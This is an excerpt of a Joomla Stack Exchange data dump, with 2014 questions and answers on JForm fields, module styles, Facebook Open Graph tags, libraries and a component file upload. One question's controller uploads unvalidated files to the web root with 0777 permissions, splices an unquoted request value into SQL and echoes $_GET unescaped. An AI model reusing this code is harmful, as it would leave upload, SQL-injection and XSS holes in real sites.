LastActivityDate="2014-11-29T17:42:55.463" Title="How can I dynamically generate a form's XML from PHP?" Tags="|development|jform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5470" PostTypeId="2" ParentId="5469" CreationDate="2014-11-29T17:19:05.267" Score="4" Body="&lt;p&gt;I was working with &lt;code&gt;jForm&lt;/code&gt; and methods &lt;code&gt;setField()&lt;/code&gt; and &lt;code&gt;getFieldset()&lt;/code&gt; to set and retrieve the fields, but Joomla was throwing errors.  While trying to add a &lt;code&gt;list&lt;/code&gt; Joomla was unable to parse the XML &lt;em&gt;until&lt;/em&gt; I added &lt;code&gt;option_on=&quot;Yes&quot;&lt;/code&gt; and &lt;code&gt;option_off=&quot;Yes&quot;&lt;/code&gt;.  (&lt;em&gt;I'm not sure what/why these are necessary, but with them, the below code works&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;models\myform.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; public function getForm($data = array(), $loadData = true)&#xA;{&#xA;    // Get the form.&#xA;    $form = $this-&amp;gt;loadForm('com_mycomponent.mymodel', 'myform', array('control' =&amp;gt; 'jform', 'load_data' =&amp;gt; $loadData));&#xA;    if (empty($form)) {&#xA;        return false;&#xA;    }&#xA;    $element = new SimpleXMLElement('&amp;lt;fieldset name=&quot;myFieldset&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;myfield1&quot; type=&quot;list&quot;&#xA;        label=&quot;My List&quot;&#xA;        default=&quot;2&quot;&#xA;        option_on=&quot;Yes&quot;&#xA;        option_off=&quot;Yes&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot;&amp;gt;Low&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;2&quot;&amp;gt;Normal&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;3&quot;&amp;gt;High&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;        &amp;lt;field name=&quot;myfield2&quot; type=&quot;text&quot; label=&quot;My field 1&quot; class=&quot;inputbox&quot; size=&quot;30&quot; /&amp;gt;&#xA;        &amp;lt;field name=&quot;myfield3&quot; type=&quot;text&quot; label=&quot;My field 2&quot; class=&quot;inputbox&quot; size=&quot;30&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;');&#xA;    $form-&amp;gt;setField($element);&#xA;    return $form;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;views/myview/tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;form-&amp;gt;getFieldset('myFieldset'), true)&#xA;// Loop through these results and display them accordingly&#xA;$myFieldset = $this-&amp;gt;form-&amp;gt;getFieldset('myFieldset');&#xA;if(count($myFieldset)){&#xA;    foreach($myFieldset as $field) {&#xA;        $field_name = $field-&amp;gt;getAttribute('name');&#xA;        echo $this-&amp;gt;form-&amp;gt;getLabel($field_name);&#xA;        echo $this-&amp;gt;form-&amp;gt;getInput($field_name);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;controllers/myview.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the user data.&#xA;$data = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('jform', array(), 'array');&#xA;/* $data DOES contain my input fields*/&#xA;// The model/table doesn't contain columns for my custom fields, so the data to be saved has to be manipulated here to &quot;go somewhere permanent&quot;.&#xA;&#xA;// Validate the posted data.&#xA;$form = $model-&amp;gt;getForm();&#xA;/* $form DOES contain my input fields*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-11-29T17:24:45.180" LastActivityDate="2014-11-29T17:24:45.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5472" PostTypeId="2" ParentId="5417" CreationDate="2014-11-30T00:42:24.363" Score="1" Body="&lt;p&gt;Nevermind, this does work correctly...I have a different issue happening.  I've got a custom authentication plugin installed, and if I disable it then the login works correctly.  I'll have to figure out what's wrong with the plugin.&lt;/p&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2014-11-30T00:42:24.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5473" PostTypeId="2" ParentId="5467" CreationDate="2014-11-30T02:45:26.890" Score="2" Body="&lt;p&gt;Apart from the Global Configuration, meta data can be included in articles, categories and menus (see &quot;Meta data hierarchy in Joomla&quot; at &lt;a href=&quot;https://joomla.stackexchange.com/a/5241/120&quot;&gt;https://joomla.stackexchange.com/a/5241/120&lt;/a&gt; for more details).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to clear the Joomla cache after meta data changes to ensure Facebook is seeing the most recent version of web pages.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-11-30T02:45:26.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5474" PostTypeId="2" ParentId="5218" CreationDate="2014-11-30T07:07:40.690" Score="3" Body="&lt;p&gt;Ok, it seems that you have accidentally moved all the menu items under the &quot;home&quot; item as their parent. You can have a rough overview about the menu hierarchy in that menus dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to be sure you can also just go into each menu items page and check for the &quot;parent item&quot; and make sure its &quot;Menu item root&quot; for all the items those you want side by side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fzg8O.jpg&quot; alt=&quot;Joomla 3, Menu messed up, all items under 1 menu item dropdown.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2014-11-30T07:07:40.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5477" PostTypeId="2" ParentId="5468" CreationDate="2014-11-30T14:23:44.543" Score="3" Body="&lt;p&gt;Ahhhh!  OK so the plugin does work perfect but &#xA;I used an item id in the hook name for cached file so for 60 menu items you &#xA;end-up with 60 cached css and js where there is no need for them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing hook name to just count the bytes of exploded css or js files arrays and this way determine if there is difference , makes this plugin fly!&lt;/p&gt;&#xA;" OwnerUserId="200" LastActivityDate="2014-11-30T14:23:44.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5478" PostTypeId="2" ParentId="5467" CreationDate="2014-11-30T14:42:22.380" Score="7" Body="&lt;p&gt;When you &lt;a href=&quot;https://developers.facebook.com/docs/web/share&quot;&gt;&lt;strong&gt;Share something on Facebook&lt;/strong&gt;&lt;/a&gt;, Facebook will use the most recent information that its &lt;strong&gt;scraper&lt;/strong&gt; has &lt;strong&gt;cached&lt;/strong&gt; from your pages. If FB scraper has not yet crawled a page, then it will read your &lt;strong&gt;metadata&lt;/strong&gt; and generate the content for the shared post at that time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually it will prefer to see &lt;strong&gt;&lt;a href=&quot;http://ogp.me/&quot;&gt;Open Graph&lt;/a&gt;&lt;/strong&gt; meta tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sample of &lt;strong&gt;og:metatags&lt;/strong&gt; that can exist on a page, to describe its content for FB sharing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;fb:admins&quot; content=&quot;100000375458816&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;fb:app_id&quot; content=&quot;633297421913264&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;og:url&quot; content=&quot;http://www.mysite.com/about&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;og:title&quot; content=&quot;My About Us Page Title&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;og:type&quot; content=&quot;article&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;og:description&quot; content=&quot;My about us Page Description&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;og:image&quot; content=&quot;http://www.mysite.com/images/about-us.jpg&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If those do not exist, it will use the default meta tags of your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So make sure your pages meta have the desired content - this involves reviewing your global metadata and also the metadata of your individual pages (e.g. menu items metadata and article items). Finally after any changes it is suggested to have your Joomla's site cache cleared, in order to display the most up to date data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Facebook scraper&lt;/strong&gt; usually caches the content for 24 hours (if I can recall this right).&#xA;You can force facebook scraper to clear the cached information of your page with the &lt;a href=&quot;https://developers.facebook.com/tools/debug/&quot;&gt;&lt;strong&gt;Open Graph Debugger Tool&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-11-30T14:42:22.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5479" PostTypeId="1" CreationDate="2014-12-01T03:40:17.957" Score="3" ViewCount="852" Body="&lt;p&gt;I'm trying to set custom style for Joomla module. I have created the file:   &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;modules.php&lt;/code&gt;   in  &lt;code&gt;/templates/MY_TEMPLATE_NAME/html&lt;/code&gt; directory.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Content of this file below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;function modChrome_custom($module, &amp;amp;$params, &amp;amp;$attribs)&#xA;{&#xA;     echo '&amp;lt;h3&amp;gt;test style chrome&amp;lt;/h3&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I try to output module from my template with this style. I do it this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-1&quot; style=&quot;custom&quot;  /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it looks like my custom style is not applying to the module and all I see is a standard module layout. Did I miss something?&lt;/p&gt;&#xA;" OwnerUserId="2296" LastEditorUserId="126" LastEditDate="2015-05-08T11:56:19.090" LastActivityDate="2015-05-08T11:56:19.090" Title="Joomla 3: applying custom module style doesn't work" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5480" PostTypeId="1" AcceptedAnswerId="5693" CreationDate="2014-12-01T08:47:20.720" Score="3" ViewCount="3430" Body="&lt;p&gt;I want to make a module that parses the manufacturers from virtuemart, and the user will select which manufacturers he wants to be shown in the index page. Its the first time I try to create a custom field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created my &quot;custom select list&quot; -the values from the list aren't saved somewhere, so I cant obtain it back.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fmanuf = $params-&amp;gt;get('foreignmanuf');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;var_dump($fmanuf); ---&gt; returns NULL&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;brand_params&quot;&amp;gt;          &#xA;    &amp;lt;field name=&quot;foreignmanuf&quot; type=&quot;Manulist&quot;  label=&quot;Foreign Brands&quot; multiple=&quot;true&quot;  description=&quot;Foreign Cologne Brands&quot; /&amp;gt; &#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;manulist.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('JPATH_PLATFORM') or die;&#xA;&#xA;class JFormFieldManulist extends JFormField&#xA;{&#xA;&#xA;    protected $type = 'Manulist';&#xA;&#xA;    protected function getInput()&#xA;    {&#xA;    $db= JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('*');&#xA;    $query-&amp;gt;from('#__virtuemart_manufacturers_en_gb'); &#xA;    $db-&amp;gt;setQuery($query);&#xA;    $options = $db-&amp;gt;loadObjectList();&#xA;    $longstring= '&amp;lt;select multiple=&quot;multiple&quot;&amp;gt;';&#xA;&#xA;    $counter=1;&#xA;foreach( $options as $row ) {&#xA;&#xA;        $longstring .= '&amp;lt;option value=&quot;' . $counter . '&quot;&amp;gt;'. $row-&amp;gt;mf_name . ' &amp;lt;/option&amp;gt;' ; &#xA;        $counter++; &#xA;    }&#xA;    $longstring.= '&amp;lt;/select&amp;gt;';&#xA;    return $longstring;&#xA;}&#xA;    protected function getOptions()&#xA;    {&#xA;&#xA;        $options = array();&#xA;&#xA;        foreach ($this-&amp;gt;element-&amp;gt;children() as $option)&#xA;        {&#xA;&#xA;&#xA;            if ($option-&amp;gt;getName() != 'option')&#xA;            {&#xA;                continue;&#xA;            }&#xA;&#xA;            $tmp = JHtml::_(&#xA;                'select.option', (string) $option['value'],&#xA;                JText::alt(trim((string) $option), preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this-&amp;gt;fieldname)), 'value', 'text',&#xA;                ((string) $option['disabled'] == 'true')&#xA;            );&#xA;&#xA;&#xA;            $tmp-&amp;gt;class = (string) $option['class'];&#xA;&#xA;            $tmp-&amp;gt;onclick = (string) $option['onclick'];&#xA;&#xA;            $options[] = $tmp;&#xA;        }&#xA;&#xA;        reset($options);&#xA;&#xA;        return $options;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only edited the getInput function, should I somehow edit the getOptions() also ??&lt;/p&gt;&#xA;" OwnerUserId="2225" LastEditorUserId="126" LastEditDate="2016-01-22T00:08:23.840" LastActivityDate="2019-06-10T13:24:20.020" Title="Creating custom field type multiselect list - how to save the values?" Tags="|joomla-2.5|development|php|xml|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5481" PostTypeId="2" ParentId="5438" CreationDate="2014-12-01T12:21:41.177" Score="1" Body="&lt;p&gt;Not certain if this is allowed, as it can be viewed as self-promotion. If not, sorry, please edit as required. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The visual you linked to is from my new commercial template, &lt;a href=&quot;http://joomlanauts.com/joomla-templates/fotofit&quot; rel=&quot;nofollow&quot;&gt;Fotofit&lt;/a&gt;. It uses only core content, with overrides, and css to achieve the layout and styles and as a result it is 100% customisable. It's also the fastest Joomla template ever created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The demo site does not use any 3rd-party extensions. The image grid is the featured category view. If 'linked headings' option is enabled then the intro image is also linked to the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of all, it is on sale currently with 50% off until the end of the day. Discount applied at checkout automatically.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-12-01T12:21:41.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5483" PostTypeId="2" ParentId="4278" CreationDate="2014-12-01T14:26:10.137" Score="2" Body="&lt;p&gt;It's very easy to create your own search plugin as is fully documented at &lt;a href=&quot;http://docs.joomla.org/J3.x:Creating_a_search_plugin&quot; rel=&quot;nofollow&quot;&gt;Creating a search plugin&lt;/a&gt;.  &lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-12-01T14:26:10.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5484" PostTypeId="1" AcceptedAnswerId="5490" CreationDate="2014-12-01T14:53:15.697" Score="5" ViewCount="2139" Body="&lt;p&gt;So I find this a little weird because the DB field was updating without much effort on my part, until I started writing in file upload functionality. Now the database doesn't seem to be updating, but the file upload is working. Everything seemed to be inserting, updating, etc. just fine simply by specifying proper names in the admin form's XML file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;course_id&quot;&#xA;            type=&quot;hidden&quot; /&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;course_name&quot;&#xA;            type=&quot;text&quot;&#xA;            label=&quot;Course Name: &quot;&#xA;            description=&quot;Full name of the course (up to 255 characters)&quot;&#xA;            default=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;course_dept&quot;&#xA;            type=&quot;text&quot;&#xA;            label=&quot;Course Department: &quot;&#xA;            description=&quot;4 character department code. Examples: BIOL, CREL, CHEM&quot;&#xA;            default=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;course_code&quot;&#xA;            type=&quot;text&quot;&#xA;            label=&quot;Course Code: &quot;&#xA;            description=&quot;4 digit course code which immediately preceeds department code&quot;&#xA;            default=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;course_desc&quot;&#xA;            type=&quot;textarea&quot;&#xA;            label=&quot;Course Description: &quot;&#xA;            rows=&quot;10&quot;&#xA;            description=&quot;As seen in the academic calendar&quot;&#xA;            default=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;course_graphic_url&quot;&#xA;            type=&quot;file&quot;&#xA;            label=&quot;Course Graphic: &quot;&#xA;            description=&quot;Graphical representation of the course&quot;&#xA;            accept=&quot;image/*&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I've read, I have to write the database update logic. It's just weird that it seemed to be working before. Now I am new to Joomla MVC component development, so maybe I copy/pasted a few lines of code that would have done it without my realization.. But I doubt it. Here's what I've attempted but I appear to be falling short somewhere. This is /admin/controllers/course.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('_JEXEC') or die;&#xA;&#xA;jimport('joomla.application.component.controllerform');&#xA;&#xA;class CourseListControllerCourse extends JControllerForm {&#xA;protected $view_list = 'CourseList';&#xA;&#xA;function save($key = null, $urlVar = null){&#xA;    // ---------------------------- Uploading the file ---------------------&#xA;    // Neccesary libraries and variables&#xA;    jimport( 'joomla.filesystem.folder' );&#xA;    jimport('joomla.filesystem.file');&#xA;&#xA;    $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;    $files = $jinput-&amp;gt;files-&amp;gt;get('jform');&#xA;    $filename = $files['course_graphic_url']['name'];&#xA;    $folder = JPATH_SITE . &quot;/&quot; . &quot;images&quot; . &quot;/&quot; . &quot;courselist&quot;;&#xA;&#xA;    // Create the folder if not exists in images folder&#xA;    if ( !JFolder::exists( $folder ) ) {&#xA;        JFolder::create( $folder, 0777 );&#xA;    }&#xA;&#xA;    $src = $files['course_graphic_url']['tmp_name'];&#xA;    $dest = JPATH_SITE . &quot;/&quot; . &quot;images&quot; . &quot;/&quot; . &quot;courselist&quot; . &quot;/&quot; . $filename;&#xA;&#xA;    if (isset($files['course_graphic_url'])) {&#xA;        JFile::upload( $src, $dest );&#xA;    }&#xA;&#xA;    $db = JFactory::getDBO();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $cid =  $jinput-&amp;gt;get('course_id');&#xA;&#xA;    $fields = array($db-&amp;gt;quoteName('course_graphic_url') . &quot; = &quot; . $db-&amp;gt;quote($dest));&#xA;    $conditions = array($db-&amp;gt;quoteName('course_id') . &quot; = &quot; . $cid);&#xA;&#xA;    $query&#xA;        -&amp;gt;update($db-&amp;gt;quoteName('#__courselist'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;&#xA;    $db-&amp;gt;execute($query);&#xA;&#xA;    return parent::save($key = null, $urlVar = null);&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully I've provided enough information.. I'm still stuck in weekend mode so it's hard to say :P Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I realize that the course_id, a url variable that appears when I am in the edit page, was not being passed (as far as I can tell) through when the save button is clicked. I attempted to create a hidden input field with &lt;code&gt;&amp;lt;?php echo $_GET['course_id']; ?&amp;gt;&lt;/code&gt; as the value, in hopes that I would fix all that is wrong in the world today but had no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is strange to me is that every other DB field is updating properly, with no additional SQL needed. The appropriate field was updated with the values in the corresponding form fields. I AM SO CONFUSE RIGHT NOW.&lt;/p&gt;&#xA;" OwnerUserId="2297" LastEditorUserId="2297" LastEditDate="2014-12-01T17:54:49.890" LastActivityDate="2014-12-01T20:12:33.370" Title="Joomla MVC Component File upload w/ Database field update" Tags="|component|database|mvc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5485" PostTypeId="1" AcceptedAnswerId="5486" CreationDate="2014-12-01T15:38:42.340" Score="11" ViewCount="2337" Body="&lt;p&gt;We use a number of 3rd party open source products such as PhpExcel and HtmlPurifier.  In the past we have always had a separate folder for them and called them accordingly, but would now like to know if there's a more conventional way of installing/using them with the Joomla &lt;code&gt;\libraries&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've look at &lt;a href=&quot;http://docs.joomla.org/Using_own_library_in_your_extensions&quot; rel=&quot;nofollow&quot;&gt;Using own library in your extensions&lt;/a&gt;, but am not clear on whether this applies literally to writing your own library, or if it can be generally used with &quot;whatever is in the folder&quot;.  I'm hoping for some suggestions or insight &lt;em&gt;before&lt;/em&gt; I begin this R&amp;amp;D, but will update with findings otherwise.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="3650" LastEditDate="2016-03-02T21:41:17.827" LastActivityDate="2016-03-02T21:41:17.827" Title="How can I add 3rd party libraries to Joomla to have them generally available with my code" Tags="|development|php|extensions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5486" PostTypeId="2" ParentId="5485" CreationDate="2014-12-01T16:20:17.753" Score="5" Body="&lt;p&gt;I can't comment if there is a conventional way, but my thinking is that it really makes sense to use the libraries folder for this purpose and I have seen others doing the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I have used the libraries folder in the same way, and later on my extension I usually load the library with the &lt;code&gt;jimport&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this for example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('simplehtmldom.simple_html_dom');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it will include the php file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;/libraries/simplehtmldom/simple_html_dom.php&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-12-02T10:37:09.997" LastActivityDate="2014-12-02T10:37:09.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5488" PostTypeId="2" ParentId="5484" CreationDate="2014-12-01T18:03:09.250" Score="1" Body="&lt;p&gt;I'd suggest starting at the actual SQL that is being executed and working back from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just before any query is run, add a line like this: &lt;code&gt;echo $query-&amp;gt;dump(); die;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will show the SQL that is about to be executed.  I add the &lt;code&gt;die&lt;/code&gt; so that I can keep refreshing the page without having to continually complete forms, etc. to see the effects of my debugging.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-12-01T18:03:09.250" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5489" PostTypeId="1" AcceptedAnswerId="5491" CreationDate="2014-12-01T18:50:06.117" Score="5" ViewCount="846" Body="&lt;p&gt;I am following this example here &lt;a href=&quot;http://docs.joomla.org/Creating_a_profile_plugin&quot;&gt;Profile plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to create my own profile plugin. What I can't figure out is how to make a field admin only?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the original customer / profile there are fields like language or default editor. They can be disabled via ' Frontend User Parameters' on/off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I create such a field? Visible to ADMIN only, not to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are parameters like name=&quot;register-require_myfield&quot;, are their any to disable a field for registration, or profile?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find anything about this problem online, what am I missing ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: This is Joomla 3.2+&lt;/p&gt;&#xA;" OwnerUserId="1950" LastActivityDate="2015-05-20T12:30:59.703" Title="Custom profile fields, restricted to admin only" Tags="|joomla-3.x|plugin|profile|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5490" PostTypeId="2" ParentId="5484" CreationDate="2014-12-01T20:12:33.370" Score="1" Body="&lt;p&gt;First of all, big thank you to GDP for leading me in the right direction. I have to say that the problem was quite a stupid one. As you'll notice in my code, I get a query object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I build the query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fields = array($db-&amp;gt;quoteName('course_graphic_url') . &quot; = &quot; . $db-&amp;gt;quote($dest));&#xA;$conditions = array($db-&amp;gt;quoteName('course_id') . &quot; = &quot; . $cid);&#xA;&#xA;$query&#xA;    -&amp;gt;update($db-&amp;gt;quoteName('#__courselist'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I, however, do not set the query object!!!! Here is the newly added code. What a dummy :P&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2297" LastActivityDate="2014-12-01T20:12:33.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5491" PostTypeId="2" ParentId="5489" CreationDate="2014-12-01T20:24:24.227" Score="2" Body="&lt;p&gt;I'm not dead sure that this will work as i don't have such a user plugin installed to try, but try adding this function to your plugin.  It's intent is to check if the user is in a usergroup of your choosing, and if not, exit and not prepare the form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepareForm($form, $data)&#xA;{&#xA;    $groups = $data-&amp;gt;groups-&amp;gt;getProperties();&#xA;    if(!in_array(&quot;8&quot;,$groups)){    // see table #__usergroups for a complete list to check&#xA;        return;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Upon further thought (and maybe I'll try it later) you may have to adjust the contents of &lt;code&gt;$form&lt;/code&gt; using methods of &lt;a href=&quot;http://api.joomla.org/cms-3/classes/JForm.html&quot; rel=&quot;nofollow&quot;&gt;jForm&lt;/a&gt;.  Again, not sure if it will work, but seems like a good place to start.  I would be interested to know if you resolve it to put it in my own little bag of tricks.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-01T20:34:05.830" LastActivityDate="2014-12-01T20:34:05.830" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5492" PostTypeId="2" ParentId="5479" CreationDate="2014-12-01T23:13:43.957" Score="4" Body="&lt;p&gt;if you change the style of your module in the backend it will overwrite the style given to your jdoc:include in the index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to your Backend-&gt;Modules, open Modul, open last Tab &quot;Advanced&quot;, scroll down to last item &quot;Module Style&quot;, check wich style is associated to your module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the style added to your jdoc:include you need to set the backend style to &quot;From Template: Inherited&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2300" LastActivityDate="2014-12-01T23:13:43.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
